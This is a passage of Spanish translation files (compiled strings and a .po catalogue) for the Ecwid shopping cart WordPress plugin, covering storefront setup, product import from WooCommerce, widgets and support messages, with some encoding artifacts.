sitio web.�Destaque sus productos en la barra lateral�Filtros�Posición del panel de filtros�Encuentre el ID de su tienda�Primera página�Preguntas frecuentes�Descargue la aplicación móvil de %s�Ir a «Páginas»�Ir a sus productos de %s�¡Saludos!�¡Enhorabuena! Su complemento de %s ya está activo.�Cuadrícula�Vista de cuadrícula�Ayuda�Ayude a los clientes a encontrar su tienda en el sitio web. Añada el enlace de la tienda al menú del sitio web, cree páginas adicionales de la tienda y resalte los productos de la tienda en otras páginas del sitio web y en las barras laterales.�Ayude a los clientes a encontrar su tienda en el sitio web.�Aquí puede gestionar cuántos productos se mostrarán por página. Estas opciones definen valores máximos. Si no hay suficiente espacio para mostrar todas las columnas de productos, %s adaptará el número de columnas para mantener todos los productos.�Aquí puede crear el contenido que se utilizará dentro del módulo.�Aquí, le ayudaremos a subir su catálogo de productos a %s de otro carrito de compras u otras fuentes.�Ocultar�Destaque productos, categorías y otras páginas de la tienda añadiéndolas a páginas del sitio web separadas.�Destaque sus mejores ventas o nuevos productos en la barra lateral del sitio web.�Sangría horizontal�Miniaturas horizontales�¿Cómo puedo añadir un «widget» de carrito de compras a la barra lateral de mi sitio web?�¿Cómo puedo gestionar mi tienda desde un dispositivo móvil?�¿Cómo podemos ayudarle?�¿Cómo puedo añadir categorías de tiendas al menú del sitio web?�¿Cómo pongo mis productos en el mapa del sitio?�¿Cuánto cuesta Ecwid?�¿Qué tan seguro es este complemento? ¿Mi tienda cumple con el PCI DSS?�¿Cómo añadir un solo producto con el botón de «añadir a la bolsa» en las páginas del sitio web?�¿Cómo crear una tienda en Facebook con Ecwid?�Ya tengo una cuenta, iniciar sesión�No pude encontrar un tema de WordPress adecuado para %s�Encontré un mejor complemento�Tengo un problema con el uso de este complemento�Tengo un problema con mi tienda de %s�Utilizo este tema de WordPress: %s�Icono�Icono y total de artículos�Icono, etiqueta y total de artículos�Icono, etiqueta, total de artículos y subtotal�Icono, etiqueta, total de artículos, subtotal y enlace�Si tiene un momento, háganos saber por qué está desactivando:�Imagen y título al pasar el ratón por encima�Canal de imagen�Diseño de la galería de imágenes�Solo imagen�Importar�Importe sus productos de Woocommerce a %s�Importación completada�Importación completada. <a href="%s">Ejecútela de nuevo.</a>�La importación crea nuevos productos y actualiza los productos existentes con las REF correspondientes.�La importación está en progreso�Importar mis productos de WooCommerce�Importar el catálogo de productos de WooCommerce�Importar el catálogo de productos de otras fuentes�Importe los productos a su tienda de %s�Resumen de la importación�Importe su catálogo de WooCommerce a %s�Importe sus productos de WooCommerce a %s�Importe sus productos de Woocommerce a %s�<b>%s</b> productos importados�Importando %s de %s artículos�Insertar�Insertar en la página�Sitio web instantáneo�Integración con la búsqueda en su sitio web�¿Es posible mostrar mi tienda en la página de inicio del sitio web?�¿Existe algún tema de WordPress para Ecwid?�Es una desactivación temporal. No preguntarme de nuevo.�Solo el total de artículos�Justificado�Base de conocimiento�G�Etiqueta y y total de artículos�Horizontal 3:2�Horizontal 4:3�Última página�Última actualización�Últimos productos�Diseño�Diseño:�Más información�Izquierda�Cian verde claro�Color del enlace�Producto vinculado�Lista�Vista de lista�Parece que su sitio web no admite solicitudes POST remotas, las cuales son necesarias para que la API de %s funcione. Comuníquese con su proveedor de alojamiento web para habilitar cURL.�Ãmbar vívido y brillante�Naranja vívido y brillante�M�Haga que su tienda sea accesible desde el menú del sitio web para que sus clientes puedan encontrarla fácilmente.�Gestionar la barra lateral�Gestione la tienda desde iPhone, iPad o Android�Gestione productos, supervise las ventas y ajuste la configuración: <nobr>todo sin</nobr> salir de esta página.�Gestionar la tienda�Gestionar escaparate virtual�Mercadotecnia�Móvil�Mi cuenta�Mi perfil�Mis ventas�Nombre�Navegación�¿Necesita ayuda para importar sus productos de WooCommerce a %s?�Nunca mostrar este mensaje otra vez�Página siguiente�Página siguiente�No, gracias�Sin borde�No se ha sincronizado todavía�Nota: cuando está habilitado, el «widget» del carrito siempre se mostrará en la vista previa para que sea más fácil personalizarlo. Las opciones «Mostrar en las páginas de la tienda» y «Mostrar cuando esté vacío» se aplicarán al «widget» del carrito en el sitio cuando se publiquen�No se ha encontrado nada en relación con <span class="empty-page__term">«{{ data.term }}»</span>�Número de categorías por fila�Número de productos por página�Número de productos para mostrar�A la izquierda�A la derecha�Tienda en línea�Aplicaciones de la tienda en línea�Tienda en línea�Abrir el panel de control�Abrir el panel de la tienda�Opciones�Pedidos�Otro�Nuestros 4 tipos de cuentas varían según la cantidad de productos, los tipos de funcionalidades y el nivel de asistencia. Para obtener más información, consulte nuestra <a target="_blank" href="%s">página de precios.</a><br /><br />Consejo profesional: también puede ahorrar dinero si se suscribe a nuestros planes anuales.�Nuestro equipo ya está trabajando en este asunto. Actualice la página en unos minutos. Si el problema persiste, comuníquese con <a target="_blank" href="https://help.ecwid.com/customer/portal/emails/new">nuestro equipo de atención al cliente</a>.�Ya existe una página con ese nombre.�Azul cian pálido�Rosa pálido�Parte de los productos no se han copiado a %1$s porque alcanzó el límite de productos en su plan de precios en %1$s. Si desea importar más productos, considere <nobr><a %2$s>actualizar su plan de %1$s.</a></nobr>�Pago�Personalice la apariencia de su escaparate virtual y edite el contenido en la página de la tienda para reflejar su marca y mantenerse conectado con sus clientes.�Elegir una categoría�Elegir un producto�Imagen�Píldora�Tenga en cuenta el número máximo de productos y categorías que puede tener en su tienda de Ecwid. Esta herramienta de importación se detendrá automáticamente cuando se alcance el límite de productos de la tienda. Para conocer el límite actual de la tienda o aumentarlo, consulte la página <nobr><a %s target="_blank">«Facturación y planes»</a></nobr> ubicada en el panel de su tienda de Ecwid.�Suscríbase a un plan de pago para obtener esta función.�Complementos para Ecwid�Vertical 2:3�Vertical 3:4�Posición�Vista previa�Página anterior�Precio�Color del precio�Producto�Ficha de producto ampliada�Ficha de producto reducida�Apariencia de la lista de productos�Apariencia de la página del producto�REF del producto�Búsqueda de productos�Cuadro de búsqueda de productos�Búsqueda de productos y filtros�El texto de la ficha del producto se alinea�El catálogo de productos se mostrará automáticamente�Diseño de la página de productos�Precio del producto�Cantidad de productos�Contenido de la barra lateral de productos�Relación de aspecto de la miniatura del producto�Tamaño de la miniatura del producto�Título del producto�Productos�Los productos se sincronizaron satisfactoriamente. Las páginas de productos están actualizadas.�Productos eliminados sincronizados: %1$s de %2$s�Promocione su tienda�Otorgar acceso.�Proporcionado por <a %s>%s</a>�Publicar�Publicar la página de la tienda�Publique la página para poder utilizar esta opción�Publicada�Cantidad�¿Tiene alguna pregunta?�Producto aleatorio�Productos aleatorios�Tasa de %s en WordPress.org�Vuélvase a conectar para activar el panel de control�Productos vistos recientemente�Recomendaciones para su tienda en línea�Rectángulo�Actualizar la lista de categorías�Registrarse en %s�Informar un problema con la tienda�Informes�Derecha�P�REF�Ventas�Canales de venta�Guardar�Guarde y conecte su tienda de %s al sitio web�Guardar cambios�Buscar�Búsqueda y filtros�Buscar productos�Buscar en la base de conocimientos�Ver más�Seleccionar todo�Seleccionar categoría�Producto seleccionado�Categoría seleccionada�Vender en Facebook�Enviar mensaje�Envíe un mensaje a nuestro equipo de asistencia�Ocurrió un error al enviar el mensaje�Configure su tienda�Configurar manualmente�Configure su tienda�Configuraciones�Configuración�Envío y recogida�Tienda�Carrito de compras�Carrito de compras (descontinuado)�Carrito de compras flotante (descontinuado)�Icono del carrito de compras�Carrito de compras en miniatura (descontinuado)�«Widget» del carrito de compras�Mostrar�Mostrar imagen adicional al pasar el ratón�Mostrar categorías�Muéstreles a los clientes que pueden utilizar la búsqueda y los filtros para encontrar los productos que deseen de forma más rápida.�Mostrar descripción debajo de la imagen�Mostrar minicarrito�Mostrar en todas las páginas�Mostrar al pasar el ratón�Mostrar en las páginas de la tienda�Mostrar el precio dentro del botón de «Comprar ahora»�Mostrar el precio dentro del botón de «Comprar ahora»�Mostrar el borde de la ficha del producto�Mostrar miniaturas de los productos�Mostrar búsqueda�Mostrar cuando esté vacío�Muestre su tienda en la página de inicio�El inicio de sesión único les permite a sus clientes tener un inicio de sesión único para su sitio web de WordPress y su %s. Cuando alguien inicie sesión en su sitio web, también iniciará sesión automáticamente en su cuenta de cliente en la tienda sin necesidad de introducir su correo electrónico y contraseña nuevamente.�Icono pequeño�Icono pequeño y total de artículos�Algunos de los artículos no se pudieron importar.�Le pido disculpas por las dificultades técnicas que estamos experimentando.�Lo siento, hay un problema. Se supone que esta página muestra el panel de control de su tienda; sin embargo, este sitio web de Wordpress no parece poder conectarse al servidor de Ecwid para mostrar el panel de su tienda aquí. Es probable que esto se deba a una mala configuración del servidor; su proveedor de alojamiento web puede solucionarlo. Aquí hay una descripción más técnica del problema, la cual puede enviarle a su proveedor de alojamiento web: «La función de Wordpress wp_remote_post() no pudo conectarse a un servidor remoto debido al error: “%sâ€; parece que las solicitudes HTTP POST están inhabilitadas en este servidor». <br /><br />No dude en ponerse en contacto con nosotros en <a %s>wordpress@ecwid.com</a> y le ayudaremos a comunicarse con su proveedor de alojamiento web para pedirle que solucione el problema. <br /><br /> Mientras tanto, para gestionar su tienda, puede utilizar el panel de control web de Ecwid en <a %s>my.ecwid.com</a>. Su escaparate virtual está funcionando bien; puede echarle un vistazo aquí: <a %s>%s</a>.�Cuadrado 1:1�Iniciar la importación�Estado�Manténgase conectado con sus clientes. Actualice el contenido de su tienda en cualquier momento para informarles a los clientes sobre las promociones actuales y las novedades de su tienda.�¿Todavía tiene preguntas acerca de Ecwid? ¡Háganoslo saber!�Tienda�Categorías de la tienda�Menú de categorías de la tienda�Página de categorías de la tienda�Página del escaparate virtual�Página de inicio de la tienda�ID de la tienda�El ID de la tienda es un identificador único de cualquier tienda de %1$s, el cual consta de varios dígitos. Puede encontrarlo en la página «Panel» del panel de control de %1$s. El ID de la tienda se enviará en el correo electrónico de bienvenida después del registro.�El ID de la tienda es un identificador único de su cuenta de %1$s. Puede encontrarlo en su panel de control de %1$s en la <a %2$s>página del panel</a>.�Título del enlace de la tienda�Navegación en la tienda�Página de la tienda�Enlace a la página de la tienda�Categorías raíz de la tienda�Apariencia de la tienda�Elementos de la tienda�Gestión de la tienda�Contenido de la página de la tienda�Página de la tienda en su sitio web�Categoría raíz de la tienda�Tienda con menú de categorías�Escaparate virtual�Asunto�Enviar y desactivar�Cambiar al borrador�Sincronizar productos�Tabla�Vista de tabla�Siga unos sencillos pasos para completar la configuración de la tienda�Aproveche las increíbles aplicaciones y extensiones diseñadas para mejorar su tienda.�Texto�Color del texto�Gracias por elegir %s para construir su tienda en línea�El bloque está oculto porque no tiene categorías en su tienda. <a target="_blank" href="admin.php?page=ec-store-admin-category-id-0-mode-edit">Añadir categorías.</a>�La categoría que se muestra de forma predeterminada en la página del escaparate virtual�El primer paso para abrir su negocio en línea: <br />añadamos una tienda a su sitio web de WordPress en <strong>3</strong> simples pasos.�El complemento no es compatible con la función que quiero�El icono del carrito de compras muestra la cantidad de artículos en el carrito y ayuda a los clientes a realizar el pago. Además, puede <a href="%s" target="_blank">ajustar la apariencia del icono del carrito</a>.�La tienda no es visible en su sitio web�Las categorías de alto nivel de la tienda se añaden automáticamente a este menú desplegable�Temas para Ecwid�Esta importación copiará sus productos y categorías de WooCommerce a su tienda de %s.�Esto es una tienda de demostración. Cree su tienda para ver los productos de su tienda aquí.�Esto cambiará la etiqueta del módulo en el creador para una fácil identificación.�Título�Título en la imagen�Solo título�Título o REF�Título debajo de la imagen�Título:�Para añadir funciones adicionales a su tienda, arrastre y suelte los elementos de la tienda de %s en su sitio web. Una vez que haya terminado, puede volver a modificar su configuración.�Para añadir su tienda a su sitio web, introduzca el ID de su tienda de %1$s en el campo a continuación. Si aún no tiene una cuenta de %1$s, cree una gratis en el <a %2$s>sitio web de %1$s</a>.�Para permitir que %s inicie la sesión de sus clientes automáticamente en su tienda, otorgue los permisos para utilizar los datos del cliente en la tienda. <a %s>Utilice este enlace para hacerlo</a>�A fin de poder elegir un producto para insertarlo en sus publicaciones y páginas, deberá volver a conectar su sitio a su tienda de %s. Esto solo requerirá que acepte la solicitud de permisos para que el complemento pueda listar sus productos en el cuadro de diálogo «Añadir producto».�Para crear un «Mapa del sitio» para su sitio web de Wordpress, le sugerimos que utilice los  complementos <a target="_blank" href="https://wordpress.org/plugins/google-sitemap-generator/">Google XML Sitemaps</a> o <a target="_blank" href="https://wordpress.org/plugins/wordpress-seo/">Yoast Wordpress SEO</a>. Estos complementos son totalmente compatibles con Ecwid y permiten generar un mapa del sitio que contiene enlaces a categorías y páginas de productos, por lo que las páginas de la tienda se indexarán más rápido. Tenga en cuenta que esta opción solo está disponible para los <a target="_blank" href="https://www.ecwid.com/pricing">usuarios de pago de Ecwid</a>.�Para mostrar su tienda en este sitio web, debe permitir que WordPress acceda a sus productos de %1$s. Pulse «Conectar» para otorgar el permiso.�Para habilitar esta función, el complemento necesita un permiso para leer la información del producto de su tienda.�Para mostrar un solo producto en una página aparte o en una entrada de blog de su sitio web, utilice el código corto <b>[ecwid_product]</b>. <a target="_blank" href="https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#buynow">Cómo utilizarlo</a>�Para mejorar la apariencia de su página de productos y poder gestionarla desde aquí, habilite la opción «Apariencia de próxima generación de la página de productos en el escaparate virtual» en el panel de su tienda. («<a href="admin.php?page=ec-store&ec-store-page=whatsnew">Configuración → Novedades</a>»).�Para mejorar la apariencia de su página de productos y poder gestionarla desde aquí, habilite la opción «Apariencia de próxima generación de la página de productos en el escaparate virtual» en el panel de su tienda. («<a href="admin.php?page=ec-store&ec-store-page=whatsnew">Configuración → Novedades</a>»).�Para mejorar la apariencia de su tienda y poder gestionar la apariencia de su escaparate virtual desde aquí, habilite la opción «Apariencia de próxima generación de la lista de productos en el escaparate virtual» en el panel de su tienda. («<a href="admin.php?page=ec-store&ec-store-page=whatsnew">Configuración → Novedades</a>»).�Para asegurarse de que su cliente puede acceder realmente a su sitio web y a la tienda, habilite el registro en las <a %s>configuraciones del sitio web</a>�Para gestionar su tienda, vaya a la <a %s>página del «Panel de su tienda»</a>�Para vender utilizando %1$s, debe permitir que WordPress acceda al complemento %1$s. El botón «Conectar» lo redirigirá a su cuenta de %1$s donde puede otorgar el permiso.�Para mostrar su escaparate virtual en lugar de la tienda de demostración, conecte su cuenta de %s existente o cree una nueva.�Para comenzar a vender, añada una página a su sitio web donde se muestre el escaparate virtual.�Arriba a la izquierda�Arriba a la derecha�Intente otra búsqueda.�Escriba su mensaje aquí�«Slug» de la dirección URL�Actualizar�Actualice su catálogo�Actualice para obtener esta función�Sangría vertical�Miniaturas verticales�Gris oscuro�Gris claro�Ver la página de la tienda�Ver la página de la tienda de demostración�Ver la página de la tienda�Visitar escaparate virtual�Azul cian vívido�Cian verde vívido�Rojo vívido�¿Desea conectar otra tienda de %s?�Advertencia: algunas de las funciones de su tienda en línea están inhabilitadas. Póngase en contacto con su proveedor de alojamiento web para resolverlo.�Notamos que tiene un WooCommerce instalado. Su tienda de WooCommerce tiene %1$s productos y %2$s categorías; ¿le gustaría importarlos a %3$s?�Notamos que tiene WooCommerce instalado. Si desea copiar fácilmente sus productos de WooCommerce a %s, esta herramienta le ayudará.�Estamos sincronizando sus productos. Esto puede tardar unos minutos. No actualice la página.�Sitio web�¿Qué función necesita?�¿Qué fue lo que pasó?�¿Qué sigue?�Mientras su tienda aún no esté conectada, se mostrará una tienda de demostración en su sitio web. Échele un vistazo para tener una idea de cómo se verá su tienda en el sitio web.�Precios al por mayor�Puede añadir un cuadro de búsqueda de productos, un «widget» de carrito y más desde la <a href="%s">«Página de apariencia y widgets»</a> que se encuentra aquí en el administrador de su sitio web. <a target="_blank" href="https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#sidebarwidgets">Más detalles.</a>�Puede añadir todo el escaparate virtual, las categorías, los productos o los botones de «Comprar ahora» a otras páginas de su sitio web. Para ello, abra una página en el editor y añada un bloque %s apropiado.�Puede añadir el menú de categorías de la tienda al menú de su sitio web para ayudar a sus clientes a navegar fácilmente por su sitio web. Simplemente abra «Apariencia > Menús» en el panel de WordPress y añada el elemento «Tienda con menú de categorías» al menú de su sitio web. Aparecerá automáticamente un menú desplegable que contendrá las categorías de su tienda en su sitio web.�Puede añadir su tienda en línea a su página empresarial de Facebook (no se necesitan complementos). Ecwid sincronizará automáticamente los productos, clientes, pedidos e inventario entre su tienda en línea de WordPress y Facebook. <a target="_blank" href="https://support.ecwid.com/hc/en-us/articles/115005892705-Facebook-Shop">Más detalles.</a>�Puede gestionar la apariencia de su tienda en la <a %s>página de «Configuración del diseño»</a> ubicada en el panel de control de su tienda.�Puede mostrar su tienda en la página principal del sitio web. Ajuste la configuración de «Lectura» de su sitio web como se describe en nuestro <a target="_blank" href="https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#displaystoreonhomepage">centro de asistencia.</a>�Puede habilitar un «widget» adicional del icono de la bolsa de compras que aparecerá en las páginas de su sitio web. Abra el menú «<a href="%1$s">Apariencia → Personalizar → %2$s</a>» para habilitarlo.�Puede habilitar los filtros en la configuración de la tienda: («<a target="_blank" href="admin.php?page=ec-store-admin-product-filters-mode-main">Configuración → Filtros para los productos</a>»).�Puede enviar una nueva solicitud aquí.�Aún no ha visto ningún producto. Abra la tienda.�También podrá registrarse a través de sus perfiles existentes de Google, Facebook o PayPal.�Su tienda de %s tiene �Su tienda de %s está conectada<br /> a su sitio web de WordPress�Su tienda de %s ahora está conectada<br /> a su sitio web de WordPress�Su escaparate virtual�Su tienda de WooCommerce tiene �Se ha enviado su correo electrónico�Su producto�Panel de control de su tienda. Aquí mismo en WordPress.�Se ha creado su tienda. Preparando el panel de su tienda...�Su tienda se añade a varias páginas del sitio web. Elija la página principal. Los clientes son redirigidos a la página principal de la tienda cuando hacen clic en el icono del carrito, en los enlaces de la tienda ubicados en el menú del sitio web o en los productos que se encuentran en la barra lateral.�¡Su tienda ya está casi lista!�Su tienda no se añade a ninguna página de su sitio web. Para que los clientes puedan navegar por su tienda y realizar pedidos, cree una página donde se mostrará la tienda.�La página de su tienda�La página de su tienda está actualmente en un borrador. Una vez que esté lista, publíquela para que los clientes puedan visitar la tienda y realizar pedidos.�La página de su tienda está publicada. Los clientes pueden visitar su tienda en �Su tienda se mostrará aquí�¡Su tienda se mostrará aquí!�Su escaparate virtual (listado de productos y página de pago) está funcionando bien, pero las funciones avanzadas de la tienda, como el SEO y los «widgets» de la barra lateral, están inhabilitadas. Para habilitarlas y asegurarse de que su tienda funcione correctamente, pulse el botón de abajo para conectar su cuenta de %s. Esto tomará menos de un minuto; solo se le pedirá que inicie sesión en su cuenta y permita que este sitio web obtenga los datos de su tienda.�[%s] Comentarios sobre la desactivación del complemento de WordPress (ID de la tienda: %s)�personalizar apariencia�Contenido�Tienda�http://www.ecwid.com?partner=wporg�https://ecwid.to/ecwid-site�https://support.ecwid.com/hc/en-us�https://support.ecwid.com/hc/en-us/articles/208079105-Importing-products�https://support.ecwid.com/hc/en-us/search�https://www.ecwid.com/blog�o <a %s>consulte el centro de asistencia�REF del producto�Precio del producto�seleccionar producto�producto seleccionado�Tienda en línea�Botón de «Comprar ahora»�PK������Ê—[!ÛÛ¡2¬�2¬�:��ecwid-shopping-cart/languages/ecwid-shopping-cart-es_MX.ponu�„[µü¤��������# Translation of Plugins - Ecwid Ecommerce Shopping Cart - Stable (latest release) in German # This file is distributed under the same license as the Plugins - Ecwid Ecommerce Shopping Cart - Stable (latest release) package. msgid "" msgstr "" "PO-Revision-Date: 2020-10-12 12:46\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "Plural-Forms: nplurals=2; plural=(n != 1);\n" "X-Generator: GlotPress/3.0.0-alpha.2\n" "Language: es\n" "Project-Id-Version: temporary-strings\n" "X-Crowdin-Project: temporary-strings\n" "X-Crowdin-Project-ID: 295314\n" "X-Crowdin-Language: es-ES\n" "X-Crowdin-File: /Wordpress Plugin/wp-plugins-ecwid-shopping-cart-stable.po\n" "X-Crowdin-File-ID: 988\n" "Language-Team: Spanish\n" #: includes/integrations/elementor/class-ec-elementor-widget-store.php:92 msgid "You can control your store look and feel on the <a %s>Design settings page</a> in your store control panel." msgstr "Puede gestionar la apariencia de su tienda en la <a %s>página de «Configuración del diseño»</a> ubicada en el panel de control de su tienda." #: includes/integrations/elementor/class-ec-elementor-widget-store.php:55 msgid "To manage your store, go to <a %s>the Store Dashboard page</a>" msgstr "Para gestionar su tienda, vaya a la <a %s>página del «Panel de su tienda»</a>" #: includes/integrations/elementor/class-ec-elementor-widget-store.php:39 msgid "The category that is shown by default on the Store Front Page" msgstr "La categoría que se muestra de forma predeterminada en la página del escaparate virtual" #: includes/integrations/elementor/class-ec-elementor-widget-store.php:38 msgid "Default category" msgstr "Categoría predeterminada" #: includes/integrations/elementor/class-ec-elementor-widget-store.php:29 msgid "Online Store" msgstr "Tienda en línea" #: includes/class-ecwid-stub-renderer.php:38 msgid "Buy Now" msgstr "Comprar ahora" #: templates/admin/welcome-terms-privacy.php:5 msgid "By continuing, you agree to the <a %s>Terms of Service</a> and <a %s>Privacy Policy</a>." msgstr "Al continuar, acepta los <a %s>Términos de servicio</a> y la <a %s>Política de privacidad</a>." #: js/gutenberg/blocks.build.js:1 msgid "Display shopping cart and checkout page" msgstr "Mostrar el carrito de compras y la página de pago" #: js/gutenberg/blocks.build.js:1 msgid "Cart and Checkout" msgstr "Carrito y pago" #: js/gutenberg/blocks.build.js:1 msgid "Filters" msgstr "Filtros" #: js/gutenberg/blocks.build.js:1 msgid "You can enable filters in the store settings: (“<a target=\"_blank\" href=\"admin.php?page=ec-store-admin-product-filters-mode-main\">Settings → Product Filters</a>â€)." msgstr "Puede habilitar los filtros en la configuración de la tienda: («<a target=\"_blank\" href=\"admin.php?page=ec-store-admin-product-filters-mode-main\">Configuración → Filtros para los productos</a>»)." #: js/gutenberg/blocks.build.js:1 msgid "Search and Filters" msgstr "Búsqueda y filtros" #: js/gutenberg/blocks.build.js:1 msgid "Display search page with filters on a side" msgstr "Mostrar página de búsqueda con los filtros a un lado" #: js/gutenberg/blocks.build.js:1 msgid "Product Search and filters" msgstr "Búsqueda de productos y filtros" #: js/gutenberg/blocks.build.js:1 msgid "To improve the look and feel of your product page and manage your its appearance here, please enable the “Next-gen look and feel of the product page on the storefront†option in your store dashboard (“<a href=\"admin.php?page=ec-store&ec-store-page=whatsnew\">Settings → What’s New</a>â€)." msgstr "Para mejorar la apariencia de su página de productos y poder gestionarla desde aquí, habilite la opción «Apariencia de próxima generación de la página de productos en el escaparate virtual» en el panel de su tienda. («<a href=\"admin.php?page=ec-store&ec-store-page=whatsnew\">Configuración → Novedades</a>»)." #: js/gutenberg/blocks.build.js:1 msgid "Display product page with description and a buy button" msgstr "Mostrar la página de productos con la descripción y un botón de compra" #: js/gutenberg/blocks.build.js:1 msgid "Product Card Large" msgstr "Ficha de producto ampliada" #: js/gutenberg/blocks.build.js:1 msgid "Selected category" msgstr "Categoría seleccionada" #: js/gutenberg/blocks.build.js:1 msgid "Select category" msgstr "Seleccionar categoría" #: js/gutenberg/blocks.build.js:1 msgid "Add categories" msgstr "Añadir categorías" #: js/gutenberg/blocks.build.js:1 msgid "Display category page" msgstr "Mostrar la página de categorías" #: js/gutenberg/blocks.build.js:1 msgid "Store Category Page" msgstr "Página de categorías de la tienda" #: js/gutenberg/blocks.build.js:1 msgid "Display shopping bag link and summary" msgstr "Mostrar enlace y resumen de la bolsa de compras" #: js/gutenberg/blocks.build.js:1 msgid "Shopping Cart Icon" msgstr "Icono del carrito de compras" #: js/gutenberg/blocks.build.js:1 msgid "The block is hidden because you don't have categories in your store. <a target=\"_blank\" href=\"admin.php?page=ec-store-admin-category-id-0-mode-edit\">Add categories.</a>" msgstr "El bloque está oculto porque no tiene categorías en su tienda. <a target=\"_blank\" href=\"admin.php?page=ec-store-admin-category-id-0-mode-edit\">Añadir categorías.</a>" #: js/gutenberg/blocks.build.js:1 msgid "Categories" msgstr "Categorías" #: js/gutenberg/blocks.build.js:1 msgid "Display categories navigation bar" msgstr "Mostrar la barra de navegación de las categorías" #: js/gutenberg/blocks.build.js:1 msgid "Store Categories Menu" msgstr "Menú de categorías de la tienda" #: js/gutenberg/blocks.build.js:1 msgid "Product Search Box" msgstr "Cuadro de búsqueda de productos" #: includes/integrations/elementor/class-ec-elementor-widget-buynow.php:25 #: js/gutenberg/blocks.build.js:1 msgid "Linked product" msgstr "Producto vinculado" #: js/gutenberg/blocks.build.js:1 msgid "Display a buy button" msgstr "Mostrar un botón de compra" #: includes/integrations/elementor/class-ec-elementor-widget-buynow.php:10 #: js/gutenberg/blocks.build.js:1 msgid "Buy Now Button" msgstr "Botón «Comprar ahora»" #: includes/integrations/elementor/class-ec-elementor-widget-buynow.php:52 #: js/gutenberg/blocks.build.js:1 msgid "Show price inside the «Buy now» button" msgstr "Mostrar el precio dentro del botón de «Comprar ahora»" #: js/gutenberg/blocks.build.js:1 msgctxt "gutenberg-product-block" msgid "Content" msgstr "Contenido" #: js/gutenberg/blocks.build.js:1 msgid "Change" msgstr "Cambiar" #: js/gutenberg/blocks.build.js:1 msgid "Displayed product" msgstr "Producto mostrado" #: js/gutenberg/blocks.build.js:1 msgid "Display product with a buy button" msgstr "Mostrar el producto con un botón de compra" #: js/gutenberg/blocks.build.js:1 msgid "Product Card Small" msgstr "Ficha de producto reducida" #: js/gutenberg/blocks.build.js:1 msgid "Very dark gray" msgstr "Gris oscuro" #: js/gutenberg/blocks.build.js:1 msgid "Cyan bluish gray" msgstr "Gris cian azulado" #: js/gutenberg/blocks.build.js:1 msgid "Very light gray" msgstr "Gris claro" #: js/gutenberg/blocks.build.js:1 msgid "Vivid cyan blue" msgstr "Azul cian vívido" #: js/gutenberg/blocks.build.js:1 msgid "Pale cyan blue" msgstr "Azul cian pálido" #: js/gutenberg/blocks.build.js:1 msgid "Vivid green cyan" msgstr "Cian verde vívido" #: js/gutenberg/blocks.build.js:1 msgid "Light green cyan" msgstr "Cian verde claro" #: js/gutenberg/blocks.build.js:1 msgid "Luminous vivid amber" msgstr "Ãmbar vívido y brillante" #: js/gutenberg/blocks.build.js:1 msgid "Luminous vivid orange" msgstr "Naranja vívido y brillante" #: js/gutenberg/blocks.build.js:1 msgid "Vivid red" msgstr "Rojo vívido" #: js/gutenberg/blocks.build.js:1 msgid "Pale pink" msgstr "Rosa pálido" #: js/gutenberg/blocks.build.js:1 msgid "Set manually" msgstr "Configurar manualmente" #: js/gutenberg/blocks.build.js:1 msgid "Detect automatically" msgstr "Detectar automáticamente" #: js/gutenberg/blocks.build.js:1 msgid "Color settings" msgstr "Configuración de colores" #: js/gutenberg/blocks.build.js:1 msgid "Store Navigation" msgstr "Navegación en la tienda" #: js/gutenberg/blocks.build.js:1 msgid "Store Front Page" msgstr "Página del escaparate virtual" #: js/gutenberg/blocks.build.js:1 msgid "Product sidebar content" msgstr "Contenido de la barra lateral de productos" #: js/gutenberg/blocks.build.js:1 msgid "Product Page Appearance" msgstr "Apariencia de la página del producto" #: js/gutenberg/blocks.build.js:1 msgid "Product List Appearance" msgstr "Apariencia de la lista de productos" #: js/gutenberg/blocks.build.js:1 msgid "Category List Appearance" msgstr "Apariencia de la lista de categorías" #: js/gutenberg/blocks.build.js:1 msgid "To improve the look and feel of your product page and manage its appearance here, please enable the “Next-gen look and feel of the product page on the storefront†option in your store dashboard (“<a href=\"admin.php?page=ec-store&ec-store-page=whatsnew\">Settings → What’s New</a>â€)." msgstr "Para mejorar la apariencia de su página de productos y poder gestionarla desde aquí, habilite la opción «Apariencia de próxima generación de la página de productos en el escaparate virtual» en el panel de su tienda. («<a href=\"admin.php?page=ec-store&ec-store-page=whatsnew\">Configuración → Novedades</a>»)." #: js/gutenberg/blocks.build.js:1 msgid "Display cart icon" msgstr "Mostrar icono del carrito" #: js/gutenberg/blocks.build.js:1 msgid "To improve the look and feel of your store and manage your storefront appearance here, please enable the “Next-gen look and feel of the product list on the storefront†option in your store dashboard (“<a href=\"admin.php?page=ec-store&ec-store-page=whatsnew\">Settings → What’s New</a>â€)." msgstr "Para mejorar la apariencia de su tienda y poder gestionar la apariencia de su escaparate virtual desde aquí, habilite la opción «Apariencia de próxima generación de la lista de productos en el escaparate virtual» en el panel de su tienda. («<a href=\"admin.php?page=ec-store&ec-store-page=whatsnew\">Configuración → Novedades</a>»)." #: js/gutenberg/blocks.build.js:1 msgid "Add storefront (product listing)" msgstr "Añadir escaparate virtual (listado de productos)" #: templates/admin/storefront/main.php:21 msgid "Customers can’t see your store page because it’s in draft. Publish the page to make it available for your customers." msgstr "Los clientes no pueden ver la página de su tienda porque está en un borrador. Publique la página para que esté disponible para sus clientes." #: templates/admin/storefront/main.php:20 msgid "The store is not visible on your site" msgstr "La tienda no es visible en su sitio web" #: templates/admin/storefront/main.php:4 msgid "Your Storefront" msgstr "Su escaparate virtual" #: templates/admin/storefront/area-promo.php:30 msgid "Help customers find your store on the site. Add the store link to the site menu, create additional store pages, and highlight store products on other site pages and in sidebars." msgstr "Ayude a los clientes a encontrar su tienda en el sitio web. Añada el enlace de la tienda al menú del sitio web, cree páginas adicionales de la tienda y resalte los productos de la tienda en otras páginas del sitio web y en las barras laterales." #: templates/admin/storefront/area-promo.php:29 msgid "Promote your store" msgstr "Promocione su tienda" #: templates/admin/storefront/area-promo.php:26 msgid "Stay connected with your customers. Update the content of your store anytime to tell customers about ongoing promotions and what's new in your store." msgstr "Manténgase conectado con sus clientes. Actualice el contenido de su tienda en cualquier momento para informarles a los clientes sobre las promociones actuales y las novedades de su tienda." #: templates/admin/storefront/area-promo.php:25 msgid "Change store content" msgstr "Cambiar el contenido de la tienda" #: templates/admin/storefront/area-promo.php:22 msgid "Customize your store’s appearance to fit your business needs. Give your store the exact look and 